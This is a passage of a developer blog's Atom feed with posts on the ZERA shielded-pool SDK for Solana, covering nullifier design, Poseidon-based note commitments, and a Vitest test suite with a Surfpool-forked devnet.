<p>The first test asserts determinism — same inputs, same output, every time. The second asserts independence — two notes with the same <code>(amount, asset)</code> but different secrets must produce different nullifiers, otherwise the privacy property collapses.</p>
<p>The Rust mirror lives at <a href="https://github.com/Dax911/zera-sdk/blob/main/crates/zera-core/src/note.rs"><code>crates/zera-core/src/note.rs</code></a> — same shape, same Poseidon, same input order. The whole point of having two implementations under one cross-validated test vector (<a href="https://github.com/Dax911/zera-sdk/blob/main/docs/CRYPTOGRAPHY.md">see the cryptography doc</a>) is that the host language never matters. JS in the wallet, Rust in the on-chain program, Rust-via-Neon in Node consumers — all four pipelines have to agree on the byte representation of <code>Poseidon(secret, commitment)</code>. They do, because the test vectors say so on every CI run.</p>
<h2>Why <code>secret</code> and <code>blinding</code> are different fields</h2>
<p>The note struct from <a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/note.ts"><code>note.ts</code></a> has two random fields:</p>
<pre><code class="language-ts">return {
  amount,
  asset,
  secret: randomFieldElement(),
  blinding: randomFieldElement(),
  memo: memo ?? [0n, 0n, 0n, 0n],
};
</code></pre>
<p>I noted this in <a href="/blog/pedersen_commitments_in_production/">the Pedersen post</a> but it&#39;s worth restating in nullifier-context: the <code>secret</code> is what the nullifier depends on. The <code>blinding</code> is what gives the <em>commitment</em> its hiding property. They are separated because they fail differently.</p>
<p>If <code>blinding</code> leaks (say, via a buggy memo encryption scheme), the worst case is the commitment becomes enumerable for small <code>amount</code> spaces. Bad, recoverable.</p>
<p>If <code>secret</code> leaks, the nullifier becomes predictable, which means an attacker can stamp the chain with the nullifier <em>before</em> the legitimate owner does, and the legitimate spend gets rejected as a double-spend. This is the worst possible failure mode in a privacy pool. The note becomes unspendable.</p>
<p>Sampling them as independent 248-bit field elements means an attacker who compromises one does not get the other for free. The cost is ~62 bytes of additional state per note. The benefit is decorrelating the two failure modes that would otherwise chain.</p>
<h2>The lifecycle, in one diagram</h2>
<pre><code>1.  CREATE  (off-chain)
    note = createNote(amount, asset)
        ├── secret    = randomFieldElement()   // private, kept by owner
        └── blinding  = randomFieldElement()   // private, kept by owner

2.  COMMIT  (on-chain, via deposit or transfer-output)
    commitment = Poseidon(amount, secret, blinding, asset, memo[0..3])
    --&gt; commitment is appended to the on-chain Merkle tree at leafIndex

3.  HOLD    (off-chain, in the wallet)
    Owner stores { note, commitment, leafIndex, nullifier? } locally.
    Nullifier may be precomputed but is NOT yet on-chain.

4.  SPEND   (on-chain, via withdraw or transfer-input)
    nullifier = Poseidon(secret, commitment)
    proof     = Groth16(
                  public:  nullifier, root, recipientHash, amount, asset
                  private: secret, blinding, memo, leafIndex, merkle_path
                )
    --&gt; on-chain program checks:
        a. proof verifies under verifying_key
        b. nullifier_pda(nullifier) does not yet exist
        c. root matches a recent on-chain root
    --&gt; if all pass, program creates nullifier_pda(nullifier).

5.  REJECT  (any future spend attempt with the same nullifier)
    nullifier_pda(nullifier) exists --&gt; program returns
    &quot;DoubleSpendDetected&quot; without ever learning which note it was.
</code></pre>
<p>The reject step is the magic. The on-chain program does not know which note is being respent. It does not know which leaf in the Merkle tree the nullifier corresponds to. It only knows that a PDA seeded by the nullifier hash already exists, and it refuses to recreate it. From <a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/pda.ts"><code>packages/sdk/src/pda.ts</code></a>, the seed shape is <code>[&quot;nullifier&quot;, nullifierBytes32]</code>:</p>
<pre><code class="language-ts">export const NULLIFIER_SEED = &quot;nullifier&quot;;
</code></pre>
<p>Each nullifier on the chain is a 32-byte BN254 field element packed into a PDA. PDAs are cheap on Solana, but they are not free, and the rent-exempt minimum balance for a tiny PDA is the actual cost of &quot;stamping the chain with a nullifier.&quot; It is sub-cent on devnet and mainnet alike. That is the cost of double-spend protection in this design.</p>
<h2>What the circuit actually proves</h2>
<p>The transfer circuit (one-input, two-output) and the withdraw circuit (one-input, one-recipient-hash) both compute the nullifier <em>inside the circuit</em> from the witness and assert equality with the public input. From <a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/prover.ts"><code>packages/sdk/src/prover.ts</code></a>:</p>
<pre><code class="language-ts">const input = {
  // Public
  root: tree.root.toString(),
  nullifierHash: nullifierHash.toString(),
  recipient: recipientHash.toString(),
  amount: note.amount.toString(),
  asset: note.asset.toString(),
  // Private
  secret: note.secret.toString(),
  // ...
};
</code></pre>
<p>The circuit&#39;s predicate, in pseudocode:</p>
<pre><code>1. computed_commitment   = Poseidon(amount, secret, blinding, asset, memo[0..3])
2. computed_nullifier    = Poseidon(secret, computed_commitment)
3. assert  computed_nullifier == nullifierHash         (public input)
4. assert  Merkle(root, leafIndex, path) == computed_commitment
5. assert  amount, asset bind to public inputs
</code></pre>
<p>That&#39;s the whole privacy proof. The chain learns the nullifier and the new output commitments. It does not learn the amount inside, the asset, the original commitment, or the leaf index. The nullifier is the only piece of identifying information leaked, and the only thing it identifies is <em>itself</em> — there is no on-chain link from nullifier back to commitment without breaking the hash.</p>
<p>This is also why the <code>secret</code>-as-witness matters. If the nullifier could be derived from public information alone, anyone could replay it. The privacy story collapses. Because the secret is sampled per-note and is part of both the commitment witness and the nullifier preimage, only the holder of the secret can produce the proof. That binding is what stops one user from frontrunning another&#39;s spend.</p>
<h2>What an attack looks like, briefly</h2>
<p>There are exactly two things an attacker can try, and they both lose.</p>
<p><strong>Attack 1: precompute someone&#39;s nullifier and stamp the chain first.</strong> Requires <code>secret</code>. Without it, you can&#39;t compute <code>Poseidon(secret, commitment)</code>. The note&#39;s <code>secret</code> is sampled with 248 bits of CSPRNG entropy and reduced mod the BN254 prime, so brute-force is not on the table. Mitigation: the keystore in <a href="/blog/zera_wallet_v3_zkp/">the wallet</a> keeps the secret in Rust, behind a ChaCha20-Poly1305 layer derived from an Argon2id-hardened password, and never lets it touch JavaScript.</p>
<p><strong>Attack 2: replay a nullifier from a previous valid spend.</strong> This is the &quot;spam the chain with old nullifiers&quot; attack. It loses immediately because the on-chain program checks for PDA existence on every spend, and an existing PDA is exactly the signal &quot;this nullifier has been seen before, reject.&quot; There is no clever ordering that gets around this — the PDA is monotonically created.</p>
<p>The thing that&#39;s not in the threat model: a global attacker who can correlate metadata about <em>when</em> spends happen. That&#39;s a network-layer problem, not a cryptographic one. Tor-style mixing, relayer rotation, and the <a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/voucher.ts">voucher / private-cash</a> flow are all the answer to that, and they are deliberately layered on top of the nullifier system rather than baked into it.</p>
<h2>Why this matters for the marketing pillar</h2>
<p><a href="https://zeralabs.org">zeralabs.org</a> ships &quot;Anti-Double Spending&quot; as one of its six pillars, alongside True Offline Payments, Cryptographic Privacy, Perfect Divisibility, Secure Enclaves, and Solana Speed. Anti-Double Spending and Cryptographic Privacy <em>both</em> live or die on this construction. The pillar is real because the construction is real. It is not a stitched-together promise that turns into a complicated multi-party signing scheme later. It is one Poseidon hash and one PDA, and it has been the right answer since 2016.</p>
<p>The boring answer is the right answer. The marketing word is &quot;Nullifier Generation.&quot; The implementation is six lines. The reason it sits next to Pedersen Commitments on the front page is that without it, the privacy pool is just a private deposit box you can drain twice.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://zeralabs.org">zeralabs.org</a> — the &quot;Cryptographic Innovations&quot; section names this construction.</li>
<li><a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/note.ts"><code>packages/sdk/src/note.ts</code></a> — <code>computeNullifier</code> and friends.</li>
<li><a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/note.test.ts"><code>packages/sdk/src/note.test.ts</code></a> — the determinism and independence tests.</li>
<li><a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/prover.ts"><code>packages/sdk/src/prover.ts</code></a> — where the nullifier becomes a public input.</li>
<li><a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/pda.ts"><code>packages/sdk/src/pda.ts</code></a> — the <code>NULLIFIER_SEED</code> constant and PDA derivation.</li>
<li><a href="https://zips.z.cash/protocol/protocol.pdf">Zcash Protocol Specification</a> — the prior art this construction is descended from.</li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> — the sibling-cryptography post.</li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a> — where these primitives first landed in the SDK monorepo.</li>
<li><a href="/blog/why_i_started_zera_labs/">Why I started Zera Labs</a> — the founding letter that sets up why these primitives are the line where ZK leaves the lab.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Pedersen commitments, in production]]></title>
  <id>https://blog.skill-issue.dev/blog/pedersen_commitments_in_production/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/pedersen_commitments_in_production/"/>
  <published>2026-04-01T20:36:33.000Z</published>
  <updated>2026-04-01T20:36:33.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="cryptography"/>
  <category term="pedersen"/>
  <category term="poseidon"/>
  <category term="bn254"/>
  <category term="rust"/>
  <category term="zk"/>
  <summary type="html"><![CDATA[ZERA marketing says "Pedersen Commitments" on the cryptography page. The SDK ships Poseidon. Both are right — and the gap between them is the whole story of what shipping ZK in 2026 actually looks like.]]></summary>
  <content type="html"><![CDATA[<p>The <a href="https://zeralabs.org">ZERA Labs site</a> lists three &quot;Cryptographic Innovations&quot; on the front page: <strong>Pedersen Commitments, Zero-Knowledge Proofs, Nullifier Generation.</strong> If you read the SDK, you will not find a function called <code>pedersenCommit</code>. You will find <code>computeCommitment</code> and behind it a Poseidon hash. The first time someone asked me to reconcile the two, I gave a bad answer. This post is the answer I should have given.</p>
<p>A Pedersen commitment, in the textbook sense, is <code>C = a·G + b·H</code> where <code>G</code> and <code>H</code> are independent elliptic-curve generators, <code>a</code> is the value, and <code>b</code> is the blinding factor. The construction is <strong>homomorphic</strong> (you can add commitments and you add their values) and <strong>perfectly hiding under the discrete-log assumption</strong> (without the blinding factor, the commitment leaks zero information about the value). Bitcoin&#39;s Confidential Transactions used Pedersen commitments. So did the original Zcash Sprout for note values. They are the canonical &quot;I&#39;m hiding a number&quot; primitive in ZK literature.</p>
<p>What ZERA ships is not that. What ZERA ships is a <strong>Poseidon-based commitment</strong> — a hash-based commitment that hides the same set of fields (<code>amount, asset, secret, blinding, memo[0..3]</code>) and is binding under the collision-resistance of Poseidon. The marketing copy keeps the word &quot;Pedersen&quot; because that&#39;s the term-of-art for the <em>role</em> — a hiding, binding commitment to a confidential note. The implementation is the right primitive for the deployment target, which is Solana, which has a <code>sol_poseidon</code> syscall, which means Poseidon costs us a few thousand compute units and Pedersen would cost us hundreds of thousands.</p>
<p>This post walks the why, the what, and the receipts.</p>
<h2>What we actually wanted from &quot;Pedersen&quot;</h2>
<p>Strip the construction down to the requirement. A note commitment in a shielded pool has to be:</p>
<ol>
<li><strong>Hiding.</strong> Given the on-chain commitment, no observer can recover the amount, secret, blinding, asset, or memo.</li>
<li><strong>Binding.</strong> Once posted, the depositor cannot later &quot;open&quot; the commitment to a different note.</li>
<li><strong>Cheap inside a circuit.</strong> The prover needs to recompute the commitment from the private inputs and assert equality with the public input. Every constraint there shows up in proving time and <code>.zkey</code> size.</li>
<li><strong>Cheap on-chain.</strong> The settlement layer recomputes hashes whenever the Merkle tree advances. If that primitive is expensive, every deposit is expensive.</li>
</ol>
<p>Pedersen on <code>bn254</code> G1 nails (1) and (2) but blows (3) and (4). Each scalar multiplication inside a Groth16 circuit is hundreds of constraints. On-chain, you&#39;d be paying for elliptic-curve group ops on every leaf hash. Solana&#39;s compute-unit budget is generous but not infinite, and the on-chain Merkle tree is the hottest piece of state in the protocol.</p>
<p>Poseidon flips that. It&#39;s a permutation-based hash specifically designed for ZK circuits — <code>x^5</code> S-boxes, eight full rounds, partial rounds chosen for the field. The 2-to-1 variant we use for Merkle nodes costs us <em>dozens</em> of constraints, not hundreds. And on-chain, Solana provides it as a syscall that sips compute units. The hiding/binding properties come from collision-resistance of the hash and the fresh random <code>blinding</code> factor on every note.</p>
<p>So the engineering choice was: keep the <em>role</em> of a Pedersen commitment, swap the <em>primitive</em> for one that fits the deployment surface. Cypherpunk purity loses to compute units every time.</p>
<h2>The Rust core that everything else has to agree with</h2>
<p>The canonical implementation lives in <a href="https://github.com/Dax911/zera-sdk/blob/main/crates/zera-core/src/note.rs"><code>crates/zera-core/src/note.rs</code></a>. The crate documentation is intentionally clinical:</p>
<pre><code class="language-rust">//! Note primitives for the ZERA shielded pool.
//!
//! A **Note** represents a confidential UTXO inside the pool. It carries an
//! amount, asset identifier, a secret (private key material), a blinding
//! factor, and an optional 4-element memo field.
//!
//! The note commitment is computed as:
//!
//!     commitment = Poseidon(amount, asset, secret, blinding, memo[0..3])
//!
//! The nullifier is:
//!
//!     nullifier = Poseidon(secret, commitment)
</code></pre>
<p>The shape of the <code>Note</code> struct enforces the contract:</p>
<pre><code class="language-rust">#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, BorshSerialize, BorshDeserialize)]
pub struct Note {
    /// Token amount in the smallest denomination (e.g. USDC lamports).
    pub amount: u64,
    /// Asset identifier — typically `pubkey_to_field_bytes(mint.to_bytes())`.
    pub asset: [u8; 32],
    /// Secret key material (random 32 bytes). **Must be kept private.**
    pub secret: [u8; 32],
    /// Blinding factor for the Pedersen-like commitment (random 32 bytes).
    pub blinding: [u8; 32],
    /// Optional 4-element memo field (each element 32 bytes).
    pub memo: [[u8; 32]; 4],
}
</code></pre>
<p>Two things to notice. First, the doc comment for <code>blinding</code> literally says <em>&quot;Pedersen-like.&quot;</em> That&#39;s the gap I described in the intro, written into the source for anyone who knows enough to look. Second, the secret and the blinding are sampled separately. They serve different roles: <code>secret</code> derives the nullifier, <code>blinding</code> derives the hiding property. If they were the same value, an attacker who learned the nullifier preimage would also unmask the amount. Sampling them independently is the cheap way to keep those failure modes from chaining.</p>
<p>The compute function:</p>
<pre><code class="language-rust">pub fn compute_commitment(note: &amp;Note) -&gt; Result&lt;[u8; 32]&gt; {
    let amount_fr   = Fr::from(note.amount);
    let asset_fr    = Fr::from_be_bytes_mod_order(&amp;note.asset);
    let secret_fr   = Fr::from_be_bytes_mod_order(&amp;note.secret);
    let blinding_fr = Fr::from_be_bytes_mod_order(&amp;note.blinding);
    let memo0_fr    = Fr::from_be_bytes_mod_order(&amp;note.memo[0]);
    let memo1_fr    = Fr::from_be_bytes_mod_order(&amp;note.memo[1]);
    let memo2_fr    = Fr::from_be_bytes_mod_order(&amp;note.memo[2]);
    let memo3_fr    = Fr::from_be_bytes_mod_order(&amp;note.memo[3]);

    let inputs = [
        amount_fr, asset_fr, secret_fr, blinding_fr,
        memo0_fr, memo1_fr, memo2_fr, memo3_fr,
    ];

    let h = poseidon_hash(&amp;inputs)?;
    Ok(field_to_bytes32_be(&amp;h))
}
</code></pre>
<p>That is the entire commitment. Eight field elements, one Poseidon, 32 bytes out. The <code>Fr::from_be_bytes_mod_order</code> is the unglamorous load-bearing call — it reduces a 32-byte big-endian array into the BN254 scalar field by modular reduction, which is the only way to ensure the JavaScript SDK and the Rust crate agree on the byte representation of a value that might exceed the field. The Solana on-chain program does the same thing in the same direction. Get the endianness wrong and your prover and your verifier disagree silently, which is the kind of bug that costs an audit cycle.</p>
<h2>Why three implementations of the same hash exist</h2>
<p>If you grep the SDK, you find Poseidon implemented (or wrapped) four times:</p>
<ul>
<li><code>crates/zera-core/src/poseidon.rs</code> — Rust, via <a href="https://crates.io/crates/light-poseidon"><code>light-poseidon</code></a> <code>new_circom</code>.</li>
<li><code>packages/sdk/src/crypto/poseidon.ts</code> — TypeScript, via <code>circomlibjs</code>.</li>
<li><code>crates/zera-neon/</code> — Neon binding so Node can call the Rust core.</li>
<li>The on-chain program — Solana&#39;s <code>sol_poseidon</code> syscall.</li>
</ul>
<p>That&#39;s four entry points to the same hash function, and they all have to produce the same 32 bytes for the same inputs or the protocol falls over. The reason for the proliferation is platform: snarkjs in the browser wants a JS hash, the on-chain program wants a syscall, the Rust core wants no JS dependencies, and Node consumers benefit from native performance. The SDK&#39;s <code>docs/CRYPTOGRAPHY.md</code> enumerates the cross-validation:</p>
<blockquote>
<p>All four are verified to produce the same output for known test vectors:</p>
<pre><code>Poseidon(0, 0) = 14744269619966411208579211824598458697587494354926760081771325075741142829156
Poseidon(1, 2) = 7853200120776062878684798364095072458815029376092732009249414926327459813530
</code></pre>
</blockquote>
<p>Those two test vectors are the cheapest possible smoke test that the four implementations agree at the byte level. They are run in CI on every commit. If any of them drift — different parameter set, different endianness, different round constants — the Vitest run goes red instantly and we don&#39;t ship.</p>
<h2>The hiding argument, written out once</h2>
<p>The reason a hash with a fresh random blinding factor is hiding has nothing to do with Poseidon being magical. It&#39;s the same argument that justifies any hash-based commitment. Given <code>H(amount, asset, secret, blinding, memo)</code> and the value <code>amount</code>, the attacker has to find <code>(secret&#39;, blinding&#39;, memo&#39;)</code> such that <code>H(amount, asset, secret&#39;, blinding&#39;, memo&#39;) == commitment</code>. Because Poseidon is collision-resistant and the input space of <code>(secret, blinding)</code> is <code>2^254 × 2^254</code>, this is computationally infeasible. Without <code>blinding</code>, the commitment would be enumerable for small amount spaces — an attacker could precompute <code>H(0, asset, ...)</code>, <code>H(1, asset, ...)</code>, etc. With it, the precomputation is impossible.</p>
<p>The binding argument is the dual: to &quot;open&quot; the commitment to a different <code>amount&#39;</code>, the attacker has to find a Poseidon collision. This reduces to the same hardness assumption.</p>
<p>This is the same contract the textbook Pedersen commitment provides, with a different cryptographic primitive backing it. The marketing word &quot;Pedersen&quot; is therefore not wrong, just collapsed. The role is identical. The construction is platform-appropriate.</p>
<h2>What Poseidon costs us</h2>
<p>Poseidon is younger than SHA-256 and has received less cryptanalytic attention. The SDK&#39;s <a href="https://github.com/Dax911/zera-sdk/blob/main/docs/SECURITY.md">SECURITY.md</a> is honest about this:</p>
<blockquote>
<p>Poseidon has been analyzed extensively in the academic literature. No practical attacks are known for the parameter sets used by circomlib. However, Poseidon is relatively new compared to SHA-256 and has received less cryptanalytic attention.</p>
</blockquote>
<p>That&#39;s the right tone. The construction is sound, the parameter set is the one the entire ZK ecosystem uses, and the cryptanalysis pipeline is active and global. But Poseidon is a hash function in motion, and we should expect adjustments — Reinforced Concrete, Rescue, the next variant — to land over the next few years. The SDK is structured so the hash function is a single Rust module and a single TypeScript module. If we ever have to migrate, it&#39;s a contained change with a clear cross-validation surface.</p>
<p>The other thing Poseidon costs us, less obvious: it removes the homomorphic property of textbook Pedersen. You cannot add two Poseidon commitments and get a commitment to the sum. That property is what made Pedersen useful for <em>aggregate</em> confidential transactions in older protocols. ZERA does not need it, because the value-conservation check is enforced <em>inside the transfer circuit</em> (<code>inAmount == outAmount1 + outAmount2</code>), not by adding commitments outside the circuit. Different design point, different primitive.</p>
<h2>Why this matters for what ZERA is</h2>
<p>If you read the <a href="/blog/why_i_started_zera_labs/">Why I started Zera Labs</a> letter, the founding bet is that ZK is finally fast enough, cheap enough, and verifiable enough to leave the laboratory. The &quot;cheap enough&quot; leg is exactly the trade-off this post describes. We do not get to ship a privacy pool to mainstream users at 1¢ per transfer if we spend 200,000 compute units per Merkle node hash. Poseidon is the engineering choice that turns ZK from a research demo into a checkout button.</p>
<p>The ZERA Labs front page says &quot;Pedersen Commitments&quot; because the audience is people who want to know we have hiding/binding commitments to confidential notes. The SDK ships Poseidon because that&#39;s the implementation that makes the commitment cheap. Both are true, and the gap between them is the part of the work nobody sees.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://zeralabs.org">zeralabs.org</a> — Cryptographic Innovation pillar (Pedersen Commitments / Zero-Knowledge Proofs / Nullifier Generation).</li>
<li><a href="https://github.com/Dax911/zera-sdk/blob/main/crates/zera-core/src/note.rs">zera-sdk <code>crates/zera-core/src/note.rs</code></a> — the canonical Rust implementation.</li>
<li><a href="https://github.com/Dax911/zera-sdk/blob/main/docs/CRYPTOGRAPHY.md">zera-sdk <code>docs/CRYPTOGRAPHY.md</code></a> — the cross-implementation invariant spec.</li>
<li><a href="https://github.com/Dax911/zera-sdk/blob/main/docs/SECURITY.md">zera-sdk <code>docs/SECURITY.md</code></a> — threat model + cryptographic assumptions.</li>
<li><a href="https://crates.io/crates/light-poseidon">light-poseidon crate</a> — Rust implementation we depend on.</li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a> — where the four-implementation invariant first landed.</li>
<li><a href="/blog/why_i_started_zera_labs/">Why I started Zera Labs</a> — the &quot;fast enough, cheap enough&quot; thesis.</li>
<li><a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a> — the privacy thesis these primitives implement.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[144 Tests and a Surfpool Devnet]]></title>
  <id>https://blog.skill-issue.dev/blog/zera_sdk_test_suite/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/zera_sdk_test_suite/"/>
  <published>2026-03-31T14:40:54.000Z</published>
  <updated>2026-04-01T20:36:33.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="typescript"/>
  <category term="testing"/>
  <category term="vitest"/>
  <category term="sdk"/>
  <category term="devnet"/>
  <category term="surfpool"/>
  <category term="solana"/>
  <summary type="html"><![CDATA[How the Zera SDK got from "scaffolded" to "trustable" — a 144-test Vitest suite, a Surfpool-forked devnet running on a Latitude box, and a quickstart that actually works.]]></summary>
  <content type="html"><![CDATA[<blockquote>
<p>&quot;add comprehensive test suite for sdk (144 tests)&quot;</p>
</blockquote>
<p>That&#39;s <a href="https://github.com/Dax911/zera-sdk/commit/809274f5d2f8d3708cb09f6a353fec889994d59c"><code>80927</code></a>, 2026-03-31. Three weeks after <a href="/blog/zera_sdk_scaffolding/">the day-one scaffolding</a> shipped, the Zera SDK had 13 test files and 144 individual test cases, all passing under Vitest. Twenty-four hours after that, <a href="https://github.com/Dax911/zera-sdk/commit/e350707ba47247f1ec1feac439267d11848bfde6"><code>e350707</code></a> added a working hosted devnet, a quickstart guide, and the first end-to-end demo.</p>
<p>This post is about the bridge between &quot;the code exists&quot; and &quot;you can use it without reading the source.&quot;</p>
<h2>The shape of the test suite</h2>
<p>The 13 test files mirror the SDK&#39;s 13 modules:</p>
<pre><code>constants.test.ts           crypto/keccak.test.ts
crypto/poseidon.test.ts     merkle-tree.test.ts
note-store.test.ts          note.test.ts
pda.test.ts                 prover.test.ts
tx/deposit.test.ts          tx/transfer.test.ts
tx/withdraw.test.ts         utils.test.ts
voucher.test.ts
</code></pre>
<p>The reason there&#39;s exactly one test file per source file: it&#39;s the easiest possible discipline to enforce. Open <code>note.ts</code>, see <code>note.test.ts</code>, expect coverage. Open <code>prover.ts</code>, see <code>prover.test.ts</code>, expect coverage. The moment you start putting &quot;shared utility tests&quot; in <code>helpers.test.ts</code>, you lose the ability to look at a file and know whether it&#39;s tested.</p>
<h2>A test that catches a regression I couldn&#39;t have predicted</h2>
<p>From <a href="https://github.com/Dax911/zera-sdk/blob/809274f5d2f8d3708cb09f6a353fec889994d59c/packages/sdk/src/merkle-tree.test.ts"><code>merkle-tree.test.ts</code></a>:</p>
<pre><code class="language-ts">describe(&quot;MerkleTree&quot;, () =&gt; {
  it(&quot;initializes empty hashes correctly&quot;, async () =&gt; {
    const tree = await MerkleTree.create(SMALL_HEIGHT);
    // emptyHashes[0] should be 0 (empty leaf)
    expect(tree.emptyHashes[0]).toBe(0n);
    // emptyHashes[1] should be hash(0, 0)
    const expected1 = await poseidonHash2(0n, 0n);
    expect(tree.emptyHashes[1]).toBe(expected1);
  });

  it(&quot;root of empty tree matches the top-level empty hash&quot;, async () =&gt; {
    const tree = await MerkleTree.create(SMALL_HEIGHT);
    let expected = 0n;
    for (let i = 0; i &lt; SMALL_HEIGHT; i++) {
      expected = await poseidonHash2(expected, expected);
    }
    expect(tree.getRoot()).toBe(expected);
  });
});
</code></pre>
<p>The &quot;empty hashes&quot; test is the one I&#39;m proudest of. The empty-tree root is one of the most important invariants in a privacy pool: every fresh pool starts with this value, and the on-chain program initializes its tree to this value. If the off-chain SDK and the on-chain program disagree by a single bit, the very first deposit fails because the witness path doesn&#39;t reconcile to the root the program wrote at init.</p>
<p>Without this test, that bug shows up the first time a real user tries to deposit. With this test, it shows up in CI in 220ms.</p>
<h2>Test height ≠ production height</h2>
<p>Note the constant at the top of the same file:</p>
<pre><code class="language-ts">const SMALL_HEIGHT = 4;
</code></pre>
<p>The production <code>TREE_HEIGHT = 24</code>. Building a tree of height 24 in tests is doable but slow — Poseidon over 16M empty-hash slots means tens of seconds per test. Height 4 is 16 leaves. The properties under test (root recomputation, leaf indexing, witness path consistency) are agnostic to height. Test the small case in milliseconds, trust the algebra to scale.</p>
<h2>Devnet via Surfpool</h2>
<p>The next major commit is <a href="https://github.com/Dax911/zera-sdk/commit/e350707ba47247f1ec1feac439267d11848bfde6"><code>e350707</code></a> on 2026-04-01: <strong><code>add devnet infrastructure, quickstart guide, and fix shielded pool program ID</code></strong>. This is the commit where I stopped saying &quot;tests pass&quot; and started saying &quot;you can run this.&quot;</p>
<p>The devnet is a Surfpool-forked mainnet — a 1:1 fork of Solana mainnet state with Light Protocol ZK Compression and the Zera shielded pool program deployed on top. From <a href="https://github.com/Dax911/zera-sdk/blob/e350707ba47247f1ec1feac439267d11848bfde6/devnet/SETUP.md"><code>devnet/SETUP.md</code></a>:</p>
<table>
<thead>
<tr>
<th>Service</th>
<th>URL</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>Solana RPC</td>
<td><code>http://64.34.82.145:18899</code></td>
<td>JSON-RPC (forked from mainnet)</td>
</tr>
<tr>
<td>WebSocket</td>
<td><code>ws://64.34.82.145:18900</code></td>
<td>Real-time subscriptions</td>
</tr>
<tr>
<td>Surfpool Studio</td>
<td><code>http://64.34.82.145</code></td>
<td>Dashboard UI (basic auth)</td>
</tr>
</tbody></table>
<p>Why Surfpool over <code>solana-test-validator</code>? Two reasons:</p>
<ol>
<li><strong>It forks mainnet state.</strong> The shielded pool needs to interact with real USDC and SPL token mints. A vanilla test-validator would have me re-creating those by hand. Surfpool just snapshots them.</li>
<li><strong>Light Protocol&#39;s whole stack is already deployed on mainnet.</strong> Forking gives me the real programs at the real addresses, not stubs.</li>
</ol>
<p>A Latitude box hosts the public devnet 24/7. Local devnets work too:</p>
<pre><code class="language-bash">cd devnet
surfpool start --manifest-file-path ./txtx.yml \
  --rpc-url &quot;https://api.mainnet-beta.solana.com&quot;
</code></pre>
<p><code>txtx.yml</code> contains the deploy runbooks. <code>accounts_dump/zera_pool.json</code> and <code>zera_pool.so</code> are the snapshot of the on-chain pool program&#39;s state. The whole devnet boots in under 30 seconds on a fresh box.</p>
<h2>The bug the devnet caught</h2>
<p>The same commit message says <strong>&quot;fix shielded pool program ID.&quot;</strong> That bug is the entire reason this commit exists. The SDK&#39;s <code>SHIELDED_POOL_PROGRAM_ID</code> constant in <code>constants.ts</code> was wrong — it pointed at a stale program ID from an early devnet deploy. Every transaction the SDK built was sent to a program that didn&#39;t exist anywhere. Tests pass because tests use mocked PDAs. Devnet caught it the moment a real <code>buildDepositTransaction</code> got submitted.</p>
<p>This is the point of having a devnet at all. Unit tests will tell you that your math is consistent. They will not tell you that your program ID is wrong. Only an end-to-end submission against a real cluster catches that.</p>
<h2>What this taught me</h2>
<p>The test-to-deploy gap is the most expensive interval in any SDK&#39;s lifecycle. You can have 144 passing tests and still ship a constant pointing at the wrong program. The fix is not &quot;more unit tests.&quot; The fix is one end-to-end test that submits a real transaction to a real cluster and asserts on the response. Surfpool made that possible without a public faucet, without a public RPC, without leaking devnet state to the world.</p>
<p>The other thing this taught me: a 144-test suite for a ~3000-line SDK is roughly the right ratio. Less and you can&#39;t refactor with confidence. Much more and you&#39;re testing the language. Vitest&#39;s parallel runner means the whole suite finishes in ~2 seconds locally; CI runs it on every PR and the latency cost of a regression stays close to zero.</p>
<h2>Trade-offs</h2>
<p><strong>Why Vitest over Jest?</strong> Native ESM, Vite-aligned config, faster start time. Jest&#39;s ESM story has improved but it still feels like a port. Vitest is the default if your project is already in the Vite/Bun half of the ecosystem.</p>
<p><strong>Why ship a hosted devnet at all?</strong> Because partners and collaborators are not going to install Surfpool on day one. Giving them an HTTP endpoint that&#39;s already up is the difference between &quot;I&#39;ll try it next week&quot; and &quot;I&#39;m trying it right now.&quot;</p>
<p><strong>Why basic auth on the Studio dashboard?</strong> Because it&#39;s a debug UI, not a public service, and exposing the validator state to anonymous internet traffic is a slow rug.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/zera-sdk/commit/809274f5d2f8d3708cb09f6a353fec889994d59c">The 144-test commit</a></li>
<li><a href="https://github.com/Dax911/zera-sdk/commit/e350707ba47247f1ec1feac439267d11848bfde6">Devnet + quickstart commit</a></li>
<li><a href="https://surfpool.run">Surfpool documentation</a></li>
<li><a href="https://vitest.dev/">Vitest</a></li>
<li><a href="/blog/zera_sdk_scaffolding/">Day-one SDK scaffolding</a> — what these tests are testing.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Devnet up, fixed shielded-pool program ID]]></title>
  <id>https://blog.skill-issue.dev/notes/zera-sdk-devnet-shielded-pool-fix/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zera-sdk/commit/e350707"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zera-sdk-devnet-shielded-pool-fix/"/>
  <published>2026-04-01T20:36:33.000Z</published>
  <updated>2026-04-01T20:36:33.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zera-sdk"/>
  <category term="devnet"/>
  <category term="solana"/>
